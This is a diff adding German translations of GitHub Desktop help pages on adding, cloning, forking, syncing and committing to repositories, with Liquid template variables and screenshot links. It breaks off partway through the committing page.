+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop.md
@@ -0,0 +1,43 @@
+---
+title: Hinzufügen eines Repositorys von deinem lokalen Computer zu GitHub Desktop
+intro: 'Du kannst {% data variables.product.prodname_desktop %} jedes beliebige Git-Repository hinzufügen, selbst wenn es sich nicht um ein {% data variables.product.prodname_dotcom %}-Repository handelt.'
+redirect_from:
+  - /desktop/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop
+  - /desktop/contributing-and-collaborating-using-github-desktop/adding-a-repository-from-your-local-computer-to-github-desktop
+versions:
+  fpt: '*'
+shortTitle: Add a repository
+ms.openlocfilehash: a50b5d01a2680aed173bca3ada146d318e4728b5
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145105380'
+---
+{% tip %}
+
+**Tipp:** Du kannst ein Git-Repository von deinem lokalen Computer aus zu GitHub Desktop hinzufügen, indem du den Ordner in das {% data variables.product.prodname_desktop %}-Fenster ziehst. Wenn du mehrere Git-Ordner gleichzeitig nach {% data variables.product.prodname_desktop %} ziehst, wird jeder Ordner als ein separates Git-Repository hinzugefügt.
+
+{% endtip %}
+
+{% mac %}
+
+1. Klicke im Menü **Datei** auf **Lokales Repository hinzufügen**.
+  ![Menüoption „Lokales Repository hinzufügen“](/assets/images/help/desktop/add-local-repository-mac.png)
+2. Klicke auf **Auswählen...**, und navigiere im Finder-Fenster zu dem lokalen Repository, das du hinzufügen möchtest.
+  ![Das Feld „Lokaler Pfad“ in der Mac-App](/assets/images/help/desktop/add-repo-choose-button-mac.png)
+4. Klicke auf **Repository hinzufügen**.
+  ![Die Schaltfläche „Repository hinzufügen“ in der Mac-App](/assets/images/help/desktop/add-repository-button-mac.png)
+
+{% endmac %}
+
+{% windows %}
+
+1. Klicke im Menü **Datei** auf **Lokales Repository hinzufügen**.
+  ![Menüoption „Lokales Repository hinzufügen“](/assets/images/help/desktop/add-local-repository-windows.png)
+2. Klicke auf **Auswählen...**, und navigiere mit dem Windows-Explorer zu dem lokalen Repository, das du hinzufügen möchtest.
+  ![Das Feld „Lokaler Pfad“ in der Windows-App](/assets/images/help/desktop/add-repo-choose-button-win.png)
+4. Klicke auf **Repository hinzufügen**.
+  ![Die Schaltfläche „Repository hinzufügen“ in der Windows-App](/assets/images/help/desktop/add-repository-button-windows.png)
+
+{% endwindows %}
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md
new file mode 100644
index 0000000000..629fae792a
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md
@@ -0,0 +1,47 @@
+---
+title: GitHub mithilfe von GitHub Desktop ein vorhandenes Projekt hinzufügen
+intro: 'Mithilfe von {% data variables.product.prodname_desktop %} kannst du {% data variables.product.prodname_dotcom %} ein vorhandenes Git-Repository hinzufügen.'
+redirect_from:
+  - /desktop/contributing-to-projects/adding-an-existing-project-to-github-using-github-desktop
+  - /desktop/contributing-and-collaborating-using-github-desktop/adding-an-existing-project-to-github-using-github-desktop
+versions:
+  fpt: '*'
+shortTitle: Add an existing project
+ms.openlocfilehash: 99e220467281b3132476638b9b685dfdb99cf95f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145090162'
+---
+{% mac %}
+
+{% data reusables.git.remove-git-remote %}
+2. [ Füge das Repository zu GitHub Desktop hinzu](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop/).
+{% data reusables.desktop.publish-repository %}
+4. Gib den gewünschten Namen des Repositorys in das Feld **Name** ein, oder verwende den Standardnamen des lokalen Repositorys.
+  ![Das Feld „Name“](/assets/images/help/desktop/publish-repository-name-mac.png)
+5. Um ein öffentliches Repository zu veröffentlichen, deaktiviere die Option **Diesen Code privat halten**.
+  ![Kontrollkästchen „Diesen Code privat halten“](/assets/images/help/desktop/publish-repository-private-checkbox-mac.png)
+6. Wähle in der Dropdownliste **Organisation** die Organisation aus, in der du das Repository veröffentlichen möchtest, oder wähle **Keine** aus, um das Repository in deinem persönlichen Konto zu veröffentlichen.
+  ![Dropdownliste „Organisation“](/assets/images/help/desktop/publish-repository-org-dropdown-mac.png)
+7. Klicke auf die Schaltfläche **Repository veröffentlichen**.
+  ![Die Schaltfläche „Repository veröffentlichen“ im Dialogfeld „Repository veröffentlichen“](/assets/images/help/desktop/publish-repository-dialog-button-mac.png)
+
+{% endmac %}
+
+{% windows %}
+
+{% data reusables.git.remove-git-remote %}
+2. [ Füge das Repository zu GitHub Desktop hinzu](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop/).
+{% data reusables.desktop.publish-repository %}
+4. Gib den gewünschten Namen des Repositorys in das Feld **Name** ein, oder verwende den Standardnamen des lokalen Repositorys.
+  ![Das Feld „Name“](/assets/images/help/desktop/publish-repository-name-win.png)
+5. Um ein öffentliches Repository zu veröffentlichen, deaktiviere die Option **Diesen Code privat halten**.
+  ![Kontrollkästchen „Diesen Code privat halten“](/assets/images/help/desktop/publish-repository-private-checkbox-win.png)
+6. Wähle in der Dropdownliste **Organisation** die Organisation aus, in der du das Repository veröffentlichen möchtest, oder wähle **Keine** aus, um das Repository in deinem persönlichen Konto zu veröffentlichen.
+  ![Dropdownliste „Organisation“](/assets/images/help/desktop/publish-repository-org-dropdown-win.png)
+7. Klicke auf die Schaltfläche **Repository veröffentlichen**.
+  ![Die Schaltfläche „Repository veröffentlichen“ im Dialogfeld „Repository veröffentlichen“](/assets/images/help/desktop/publish-repository-dialog-button-win.png)
+
+{% endwindows %}
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md
new file mode 100644
index 0000000000..a73f507945
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md
@@ -0,0 +1,53 @@
+---
+title: Cloning a repository from GitHub to GitHub Desktop
+intro: 'You can use {% data variables.product.prodname_dotcom %} to clone remote repositories to {% data variables.product.prodname_desktop %}.'
+redirect_from:
+  - /desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop
+  - /desktop/contributing-and-collaborating-using-github-desktop/cloning-a-repository-from-github-to-github-desktop
+versions:
+  fpt: '*'
+shortTitle: Clone a GitHub repo
+---
+{% tip %}
+
+**Tip:**  You also can use {% data variables.product.prodname_desktop %} to clone repositories that exist on {% data variables.product.prodname_dotcom %}.  For more information, see "[Cloning a repository from {% data variables.product.prodname_desktop %}](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop/)."
+
+{% endtip %}
+
+{% mac %}
+
+1. Sign in to {% data variables.location.product_location %} and {% data variables.product.prodname_desktop %} before you start to clone.
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.open-with-github-desktop %}
+5. Click **Choose...** and, using the Finder window, navigate to a local path where you want to clone the repository.
+![The choose button on the URL tab](/assets/images/help/desktop/clone-choose-button-url-mac.png)
+
+  {% note %}
+
+  **Note:** If the repository is configured to use LFS, you will be prompted to initialize {% data variables.large_files.product_name_short %}.
+
+  {% endnote %}
+
+5. Click **Clone**.
+![The clone button on the URL tab](/assets/images/help/desktop/clone-button-url-mac.png)
+
+{% endmac %}
+
+{% windows %}
+
+1. Sign in to {% data variables.location.product_location %} and {% data variables.product.prodname_desktop %} before you start to clone.
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.open-with-github-desktop %}
+5. Click **Choose...** and, using Windows Explorer, navigate to a local path where you want to clone the repository.
+![The choose button](/assets/images/help/desktop/clone-choose-button-url-win.png)
+
+  {% note %}
+
+  **Note:** If the repository is configured to use LFS, you will be prompted to initialize {% data variables.large_files.product_name_short %}.
+
+  {% endnote %}
+
+5. Click **Clone**.
+![The clone button](/assets/images/help/desktop/clone-button-url-win.png)
+
+{% endwindows %}
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop.md
new file mode 100644
index 0000000000..3d19c8a8c3
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop.md
@@ -0,0 +1,52 @@
+---
+title: Repositories von GitHub Desktop klonen und per „Fork“ kopieren
+intro: 'Mit {% data variables.product.prodname_desktop %} kannst du Repositorys klonen und forken, die sich auf {% data variables.product.prodname_dotcom %} befinden.'
+redirect_from:
+  - /desktop/contributing-to-projects/cloning-a-repository-from-github-desktop
+  - /desktop/contributing-to-projects/cloning-and-forking-repositories-from-github-desktop
+  - /desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop
+versions:
+  fpt: '*'
+shortTitle: Clone & fork from Desktop
+ms.openlocfilehash: e4182e56d0418e3aea07c94e0a3657ef8e104ea0
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145090156'
+---
+## Informationen zu lokalen Repositorys
+Repositorys für {% data variables.product.prodname_dotcom %} sind Remoterepositorys. Du kannst ein Repository mit {% data variables.product.prodname_desktop %} klonen oder forken, um ein lokales Repository auf deinem Computer zu erstellen.
+
+Du kannst eine lokale Kopie eines beliebigen Repositorys für {% data variables.product.product_name %} erstellen, auf das du zugreifen kannst, indem du das Repository klonst. Wenn du über ein Repository oder über Schreibberechtigungen verfügst, kannst du zwischen den lokalen und Remotespeicherorten synchronisieren. Weitere Informationen findest du unter [Synchronisieren deines Branchs](/desktop/contributing-and-collaborating-using-github-desktop/syncing-your-branch).
+
+Wenn du ein Repository klonst, haben alle Änderungen, die du an {% data variables.product.product_name %} pushst, Auswirkungen auf das ursprüngliche Repository. Um Änderungen vorzunehmen, ohne das ursprüngliche Projekt zu beeinträchtigen, kannst du eine separate Kopie erstellen, indem du das Repository forkst. Du kannst einen Pull Request erstellen, um anzuweisen, dass Maintainer die Änderungen in deinem Fork in das ursprüngliche Upstreamrepository einbinden. Weitere Informationen findest du unter [Informationen zu Forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks).
+
+Wenn du versuchst, {% data variables.product.prodname_desktop %} zu verwenden, um ein Repository zu klonen, auf das du keinen Schreibzugriff hast, wirst du automatisch von {% data variables.product.prodname_desktop %} aufgefordert, einen Fork zu erstellen. Du kannst deinen Fork verwenden, um zum ursprünglichen Upstreamrepository beizutragen oder unabhängig an deinem eigenen Projekt zu arbeiten. Alle vorhandenen Forks tragen standardmäßig an den Änderungen an den Upstreamrepositorys bei. Du kannst diese Auswahl jederzeit ändern. Weitere Informationen findest du unter [Verwalten des Forkverhaltens](#managing-fork-behavior).
+
+Darüber hinaus kannst du ein Repository direkt über {% data variables.product.prodname_dotcom %} oder {% data variables.product.prodname_enterprise %} klonen. Weitere Informationen findest du unter [Klonen eines Repositorys aus {% data variables.product.prodname_dotcom %} zu {% data variables.product.prodname_desktop %}](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop/).
+
+## Ein Repository klonen
+
+{% data reusables.desktop.choose-clone-repository %} {% data reusables.desktop.cloning-location-tab %} {% data reusables.desktop.cloning-repository-list %} {% data reusables.desktop.choose-local-path %} {% data reusables.desktop.click-clone %}
+
+## Repository forken
+Wenn du ein Repository klonst, auf das du keinen Schreibzugriff hast, erstellt {% data variables.product.prodname_desktop %} einen Fork. Nach dem Erstellen oder Klonen eines Forks wirst du von {% data variables.product.prodname_desktop %} gefragt, wie du den Fork verwenden möchtest.
+
+{% data reusables.desktop.choose-clone-repository %} {% data reusables.desktop.cloning-location-tab %} {% data reusables.desktop.cloning-repository-list %} {% data reusables.desktop.choose-local-path %} {% data reusables.desktop.click-clone %} {% data reusables.desktop.fork-type-prompt %}
+
+## Verwalten des Forkverhaltens
+Du kannst ändern, wie sich ein Fork mit dem Upstreamrepository in {% data variables.product.prodname_desktop %} verhält.
+
+{% data reusables.desktop.open-repository-settings %} {% data reusables.desktop.select-fork-behavior %}
+
+## Erstellen eines Alias für ein lokales Repository
+Du kannst einen Alias für ein lokales Repository erstellen, um zwischen Repositorys desselben Namens in {% data variables.product.prodname_desktop %} zu unterscheiden. Das Erstellen eines Alias wirkt sich nicht auf den Namen des Repositorys auf {% data variables.product.prodname_dotcom %} aus. In der Repositoryliste werden Aliase kursiv angezeigt.
+
+1. Klicke in der oberen linken Ecke von {% data variables.product.prodname_desktop %} rechts neben dem aktuellen Repositorynamen auf {% octicon "triangle-down" aria-label="The triangle-down icon" %}.
+2. Klicke mit der rechten Maustaste auf das Repository, für das du einen Alias erstellen möchtest, und klicke dann auf **Alias erstellen**.
+3. Gib einen Alias für das Repository ein.
+4. Klicke auf **Alias erstellen**.
+
+## Weitere Informationsquellen
+- [Informationen zu Remoterepositorys](/github/getting-started-with-github/about-remote-repositories)
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/index.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/index.md
new file mode 100644
index 0000000000..6e7ff4f9fd
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/index.md
@@ -0,0 +1,21 @@
+---
+title: Repositorys hinzufügen und klonen
+intro: 'Füge existierende Repositorys von Deinem lokalen Computer zu {% data variables.product.prodname_desktop %} hinzu oder klone Repositorys von {% data variables.product.product_name %}.'
+redirect_from:
+  - /desktop/contributing-to-projects/adding-and-cloning-repositories
+versions:
+  fpt: '*'
+children:
+  - /adding-a-repository-from-your-local-computer-to-github-desktop
+  - /adding-an-existing-project-to-github-using-github-desktop
+  - /cloning-and-forking-repositories-from-github-desktop
+  - /cloning-a-repository-from-github-to-github-desktop
+shortTitle: Add & clone repos
+ms.openlocfilehash: 1d25f1b3abb248a698ad385ec8511c0b38f5f3c2
+ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147876881'
+---
+
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/index.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/index.md
new file mode 100644
index 0000000000..a5aebe96cb
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/index.md
@@ -0,0 +1,22 @@
+---
+title: Mit GitHub Desktop mitwirken und zusammenarbeiten
+shortTitle: Contributing and collaborating
+intro: 'Mithilfe von GitHub Desktop kannst du deine Projekte verwalten, aussagekräftige Commits erstellen und den Projektverlauf in einer App statt an der Befehlszeile nachverfolgen.'
+redirect_from:
+  - /desktop/contributing-to-projects
+versions:
+  fpt: '*'
+children:
+  - /adding-and-cloning-repositories
+  - /making-changes-in-a-branch
+  - /managing-commits
+  - /working-with-your-remote-repository-on-github-or-github-enterprise
+  - /keeping-your-local-repository-in-sync-with-github
+ms.openlocfilehash: 04219b5cbdb70cfa691bcd4dbcf656fac5b39f77
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145090151'
+---
+
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github/index.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github/index.md
new file mode 100644
index 0000000000..b9c6b05266
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github/index.md
@@ -0,0 +1,16 @@
+---
+title: Synchronisieren deines lokalen Repositorys mit GitHub
+intro: 'Du kannst dein lokales Repository mit deinem Remoterepository synchronisieren, während du Änderungen am einen oder anderen vornimmst. In Git ist eine *Remote*-Instanz der Server, auf dem dein Code gespeichert ist. In deinem Fall ist dieser Server ein Repository auf {% data variables.product.prodname_dotcom %} oder {% data variables.product.prodname_enterprise %}.'
+versions:
+  fpt: '*'
+children:
+  - /syncing-your-branch
+shortTitle: Sync your local repo
+ms.openlocfilehash: 250fc5c6bf413ef8100d4e199a426f647367e7d8
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105375'
+---
+
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github/syncing-your-branch.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github/syncing-your-branch.md
new file mode 100644
index 0000000000..3be632218d
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github/syncing-your-branch.md
@@ -0,0 +1,88 @@
+---
+title: Deinen Branch synchronisieren
+intro: 'Während Commits an dein Projekt auf {% data variables.product.prodname_dotcom %} gepusht werden, kannst du die lokale Kopie des Projekts synchron halten, indem du es aus dem Remoterepository pullst.'
+redirect_from:
+  - /desktop/contributing-to-projects/syncing-your-branch
+  - /desktop/contributing-and-collaborating-using-github-desktop/syncing-your-branch
+versions:
+  fpt: '*'
+ms.openlocfilehash: eb803c8f5ef34c4ab25255c1635d31468b1b32af
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145090145'
+---
+## Informationen zur Branchsynchronisierung
+
+Du kannst deinen lokalen Branch mit dem Remote-Repository synchronisieren, indem du alle Commits abrufst, die dem Branch für {% data variables.product.product_name %} seit der letzten Synchronisierung hinzugefügt wurden. Wenn du Commits aus einem anderen Gerät vornimmst oder mehrere Personen zu einem Projekt beitragen, musst du deinen lokalen Branch synchronisieren, um den Branch aktualisiert zu halten.
+
+Wenn du deinen lokalen Branch abrufst, aktualisiere nur deine lokale Kopie des Repositorys. Um deinen Branch auf {% data variables.product.prodname_dotcom %} zu aktualisieren, musst du deine Änderungen pushen. Weitere Informationen findest du unter „[Pushen von Änderungen auf {% data variables.product.prodname_dotcom %}](/desktop/contributing-to-projects/pushing-changes-to-github)“.
+
+Um Änderungen von einem Branch zu einem anderen Branch hinzuzufügen, kannst du die Branches zusammenführen. Um Änderungen an deinem Branch aus einem anderen Branch im gleichen Repository anzuwenden, kannst du den anderen Branch in deinen Branch auf {% data variables.product.prodname_desktop %} zusammenführen. Um anzufordern, dass Änderungen aus deinem Branch in einen anderen Branch im selben Repository oder in einem anderen Repository im Netzwerk zusammengeführt werden, kannst du einen Pull Request auf {% data variables.product.prodname_desktop %} erstellen. Weitere Informationen findest du unter „[Zusammenführen eines anderen Branches in deine Projektbranches](#merging-another-branch-into-your-project-branch)“ und „[Informationen zu Pull Requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)“.
+
+Einige Workflows erfordern oder profitieren vom Rebasing anstelle der Zusammenführung. Durch das Rebasing kannst du Commits neu anordnen, bearbeiten oder zusammenzwingen. Weitere Informationen findest du unter „[Informationen zu Git-Rebase](/github/getting-started-with-github/about-git-rebase)“ und „[Rebasing deines Projektbranches auf einem anderen Branch](#rebasing-your-project-branch-onto-another-branch)“.
+
+## Pullen deines lokalen Branches aus dem Remotebranch
+
+1. Verwende in {% data variables.product.prodname_desktop %} das {% octicon "git-branch" aria-label="The branch icon" %} Dropdown **Current Branch** und wähle den zu aktualisierenden lokalen Branch.
+2.  Zum Überprüfen nach Commits auf dem Remotebranch klicke auf **Ursprung abrufen**
+![Die Schaltfläche „Ursprung abrufen“](/assets/images/help/desktop/fetch-button.png)
+3. Wenn du alle Commits aus dem Remotebranch pullen möchtest, klicke auf **Ursprung pullen** oder **Ursprung mit Rebase pullen**.
+![Die Schaltfläche „Ursprung pullen“](/assets/images/help/desktop/pull-button.png) {% data reusables.desktop.resolve-merge-conflicts %}
+
+## Anderen Branch in deinem Projektbranch zusammenführen
+
+{% data reusables.desktop.current-branch-menu %} {% data reusables.desktop.choose-a-branch-to-merge %} {% data reusables.desktop.confirm-merging-branch %}
+
+   {% note %}
+
+   **Hinweis**: Wenn Zusammenführungskonflikte vorhanden sind, warnt {% data variables.product.prodname_desktop %} Dich über der Schaltfläche **BRANCH <em> in</em>BRANCH <em> zusammenführen</em>**. Du kannst die Branches erst per Merge fusionieren, nachdem du alle Konflikte behoben hast.
+
+   {% endnote %}
+
+   ![Die Schaltfläche „Zusammenführen“](/assets/images/help/desktop/merge-branch-button.png) {% data reusables.desktop.push-origin %}
+
+## Deinen Projektbranch per Rebasing auf einem anderen Branch basieren lassen
+
+{% mac %}
+
+1. Verwende in der Menüleiste die Dropdownliste **Branch** und klicke auf **Rebase Current Branch** (Rebase für aktuellen Branch ausführen).
+![Rebase Current Branch Rebase für aktuellen Branch ausführen im Dropdownmenü des Branches](/assets/images/help/desktop/mac-rebase-current-branch.png)
+2. Klicke auf den Branch, den du per Rebase in den aktuellen Branch versetzen möchtest, und klicke anschließend auf **Start rebase** (Rebase starten).
+![Schaltfläche „Start rebase“ (Rebase starten)](/assets/images/help/desktop/start-rebase-button.png)
+3. Wenn du sicher bist, dass du ein Rebase ausführen möchtest, klicke auf **Begin rebase (Rebase beginnen)**.
+![Die Schaltfläche „Begin Rebase“](/assets/images/help/desktop/begin-rebase-button.png) {% data reusables.desktop.resolve-merge-conflicts %}
+4. Wenn du deine lokalen Änderungen pushen möchtest, klicke auf **Force push origin (Ursprungs-Push) erzwingen**.
+![Force push origin (Ursprungs-Push erzwingen)](/assets/images/help/desktop/force-push-origin.png)
+
+{% endmac %}
+
+{% windows %}
+
+1. Verwende die Dropdownliste **Branch** und klicke auf **Rebase Current Branch** (Rebase für aktuellen Branch ausführen).
+![Rebase Current Branch (Basis des aktuellen Branches neu setzen) im Dropdown](/assets/images/help/desktop/windows-rebase-current-branch.png)
+2. Klicke auf den Branch, den du per Rebase in den aktuellen Branch versetzen möchtest, und klicke anschließend auf **Start rebase** (Rebase starten).
+![Schaltfläche „Start rebase“ (Rebase starten)](/assets/images/help/desktop/start-rebase-button.png)
+3. Wenn du sicher bist, dass du ein Rebase ausführen möchtest, klicke auf **Begin rebase (Rebase beginnen)**.
+![Die Schaltfläche „Begin Rebase“](/assets/images/help/desktop/begin-rebase-button.png) {% data reusables.desktop.resolve-merge-conflicts %}
+4. Wenn du deine lokalen Änderungen pushen möchtest, klicke auf **Force push origin (Ursprungs-Push erzwingen)**.
+![Force push origin (Ursprungs-Push erzwingen)](/assets/images/help/desktop/force-push-origin.png)
+
+{% endwindows %}
+
+## Squashing und Zusammenführen eines anderen Branches in deinem Projektbranch zusammenführen
+
+1. Verwende die Dropdownliste **Branch**, und klicke auf **Squash and Merge into Current Branch (Squashing und Zusammenführen in aktuellem Branch)**.
+![Dropdown „Squash und Zusammenführen in Branch“](/assets/images/help/desktop/squash-and-merge-menu.png)
+2. Klicke auf den Branch, den du in den aktuellen Branch zusammenführen möchtest, und klicke anschließend auf **Squash and merge (Squash und zusammenführen)**.
+![Schaltfläche Squash and merge (Squash und zusammenführen)](/assets/images/help/desktop/squash-and-merge-selection.png) {% note %}
+
+   **Hinweis**: Wenn Zusammenführungskonflikte vorhanden sind, warnt {% data variables.product.prodname_desktop %} Dich über der Schaltfläche **Squash and merge (Squash und zusammenführen)**. Du kannst die Branches erst squashen und zusammenführen, nachdem du alle Konflikte behoben hast.
+
+   {% endnote %} {% data reusables.desktop.push-origin %}
+
+## Weitere Informationen
+- „[Pull](/github/getting-started-with-github/github-glossary#pull)“ im {% data variables.product.prodname_dotcom %}-Glossar
+- „[Zusammenführen](/github/getting-started-with-github/github-glossary#merge)“ im {% data variables.product.prodname_dotcom %}-Glossar
+- „[Rebase](/github/getting-started-with-github/github-glossary#rebase)“ im {% data variables.product.prodname_dotcom %}-Glossar
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project.md
new file mode 100644
index 0000000000..4adb85e681
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project.md
@@ -0,0 +1,133 @@
+---
+title: Committen und Überprüfen von Änderungen an deinem Projekt
+intro: '{% data variables.product.prodname_desktop %} verfolgt alle Änderungen an allen Dateien nach, während du sie bearbeitest. Du kannst festlegen, wie die Änderungen gruppiert werden sollen, um aussagekräftige Commits zu erstellen.'
+redirect_from:
+  - /desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project
+  - /desktop/contributing-and-collaborating-using-github-desktop/committing-and-reviewing-changes-to-your-project
+versions:
+  fpt: '*'
+shortTitle: Commit & review changes
+ms.openlocfilehash: ecc12722a7d0eebeedc13878972d138ca894db5a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145105372'
+---
+## Informationen zu Commits
+
+{% data reusables.commits.about-commits %} Du kannst außerdem Mitautor*innen zu allen Commits hinzufügen, an denen du mitarbeitest.
+
+{% data reusables.desktop.update-email-address %} Weitere Informationen findest du unter [Konfigurieren von Git für GitHub Desktop](/desktop/getting-started-with-github-desktop/configuring-git-for-github-desktop).
+
+## Branch auswählen und Änderungen vornehmen
+
+1. [Erstelle einen neuen Branch](/desktop/guides/contributing-to-projects/managing-branches), oder wähle einen vorhandenen Branch aus, indem du auf der Symbolleiste auf {% octicon "git-branch" aria-label="The branch icon" %} **Aktueller Branch** klickst und den Branch aus der Liste auswählst.
+
+  ![Dropdownmenü zum Wechseln des aktuellen Branches](/assets/images/help/desktop/select-branch-from-dropdown.png) {% data reusables.desktop.make-changes %}
+
+## Auswählen der Anzeige von Unterschieden
+
+Du kannst die Art der Anzeige von Unterschieden {% data variables.product.prodname_desktop %} an deine Anforderungen bei der Überprüfung anpassen.
+
+Um die Anzeige der Unterschiede zu ändern, klicke in der rechten oberen Ecke der Diff-Ansicht auf {% octicon "gear" aria-label="The Gear icon" %}.
+- Um die gesamte Darstellung der Unterschiede zu ändern, wähle unter „Diff-Anzeige“ die Optionen **Einheitlich** oder **Geteilt** aus. Die einheitliche Ansicht zeigt Änderungen linear an, während die geteilte Ansicht alte Inhalte auf der linken Seite und neue Inhalte auf der rechten Seite anzeigt.
+- Um Leerraumänderungen auszublenden, damit du dich auf wichtigere Änderungen konzentrieren kannst, wähle **Leerraumänderungen ausblenden** aus.
+
+![Diff-Optionsmenü](/assets/images/help/desktop/diff-selection.png)
+
+Wenn du mehr von der Datei sehen möchtest, als {% data variables.product.prodname_desktop %} standardmäßig anzeigt, kannst du die Diff-Ansicht erweitern.
+- Um die nächsten Zeilen über oder unter den hervorgehobenen Änderungen zu sehen, klicke auf den Pfeil über oder unter den Zeilennummern.
+- Um die gesamte Datei zu sehen, klicke mit der rechten Maustaste in die Diff-Ansicht, und klicke auf **Gesamte Datei erweitern**.
+
+![Erweitern der Diff-Ansicht](/assets/images/help/desktop/expand-diff-view.png)
+
+## Die in einen Commit einzubeziehenden Änderungen auswählen
+
+Wenn du in deinem Texteditor Änderungen an Dateien vornimmst und diese lokal speicherst, werden die Änderungen auch in {% data variables.product.prodname_desktop %} angezeigt.
+
+* Das rote {% octicon "diff-removed" aria-label="The diff removed icon color-red" %}-Symbol weist auf entfernte Dateien hin.
+* Das gelbe {% octicon "diff-modified" aria-label="The diff modified icon color-yellow" %}-Symbol verweist auf geänderte Dateien.
+* Das grüne {% octicon "diff-added" aria-label="The diff added icon color-green" %}-Symbol weist auf hinzugefügte Dateien hin.
+* Wenn du auf gestashte Änderungen zugreifen möchtest, klicke auf **Gestashte Änderungen**.
+
+  ![Option für versteckte Änderungen](/assets/images/help/desktop/stashed-changes.png)
+* {% data reusables.desktop.commit-all-desc %}
+
+  ![Kontrollkästchen, um allen geänderten Dateien per Commit zu übertragen](/assets/images/help/desktop/commit-all.png)
+* {% data reusables.desktop.commit-some-desc %}
+
+  ![Kontrollkästchen neben den Dateien, die zur Übertragung per Commit ausgewählt werden](/assets/images/help/desktop/commit-some.png)
+
+### Partiellen Commit erstellen
+
